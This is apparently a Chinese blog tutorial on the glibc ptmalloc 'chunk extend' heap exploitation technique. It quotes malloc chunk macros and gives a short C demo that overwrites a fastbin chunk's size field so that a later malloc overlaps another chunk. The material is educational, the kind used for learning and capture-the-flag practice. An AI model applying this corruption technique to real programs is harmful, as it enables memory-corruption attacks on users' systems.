chunk extend 堆利用:
程序中堆的利用 可以控制chunk header中的数据 例如:heap overflow
ptmalloc 对chunk 操作的存在漏洞。
首先:怎么获取chunk的大小?
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
其实就是利用了size , 但是一种忽略了掩码部分,一种没有。
那么怎么获取下一个chunk的位置?
这个其实就是利用了隐式链表的技术
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
就是当前块指针加上当前块的大小。
那么有关前一个chunk的信息呢?
答案还在malloc_chunk的结构体里面,
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
但是这一点的时候要特别注意malloc 和free两种不同的状态。
上面简单就是用本chunk - malloc_chunk->prev_size
那么判断是否处于in_use状态就是依靠in_use标志位了
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)
记住一点:本chunk的 in_use表示的是前一个chunk的状态哦。
综合起来chunk的判断 就是依赖于malloc_chunk结构体里面的内容,简单来说就是chunk_header
,那么利用思路就自然而然的出来了,我们通过堆漏洞(heap overflow之类的)可以改变chunk_header进而实现漏洞利用
下面来几个简单的实操:
1.在fastbin 里面的操作:
/*************************************************************************
> File Name: chunk_extend.c
> Author: 时钟
> Mail: 522796871@qq.com
> Created Time: 2019年08月16日 星期五 11时30分15秒
************************************************************************/
#include<stdio.h>
#include<stdlib.h>
int main()
{
void *p , *c;
p = malloc(0x10);
malloc(0x10);
*(long long*)((long long)p-0x8) = 0x41;
free(p);
c = malloc(0x32);
return 0;
}
当我们free之后:
这接下来的malloc 就可以成功的控制下面的malloc , 相当于两个指针可以操作同一个chunk了哦。